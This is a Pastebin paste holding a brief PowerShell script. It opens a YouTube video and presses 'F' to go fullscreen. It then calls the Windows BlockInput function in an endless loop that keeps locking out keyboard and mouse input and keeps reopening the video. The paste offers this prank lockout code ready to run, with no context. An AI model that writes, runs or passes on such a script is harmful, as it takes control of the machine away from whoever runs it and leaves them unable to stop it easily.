Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Start-Process "https://youtu.be/C-YKvC2r-Xk"
- Start-Sleep -Seconds 4
- $wshell = New-Object -ComObject wscript.shell;
- Start-Sleep -Seconds 1
- $wshell.SendKeys('F')
- $code = @"
- [DllImport("user32.dll")]
- public static extern bool BlockInput(bool fBlockIt);
- "@
- $userInput = Add-Type -MemberDefinition $code -Name UserInput -Namespace UserInput -PassThru
- while($true) {
- $userInput::BlockInput($true)
- Start-Sleep -Seconds 1
- Start-Process "https://youtu.be/C-YKvC2r-Xk"
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement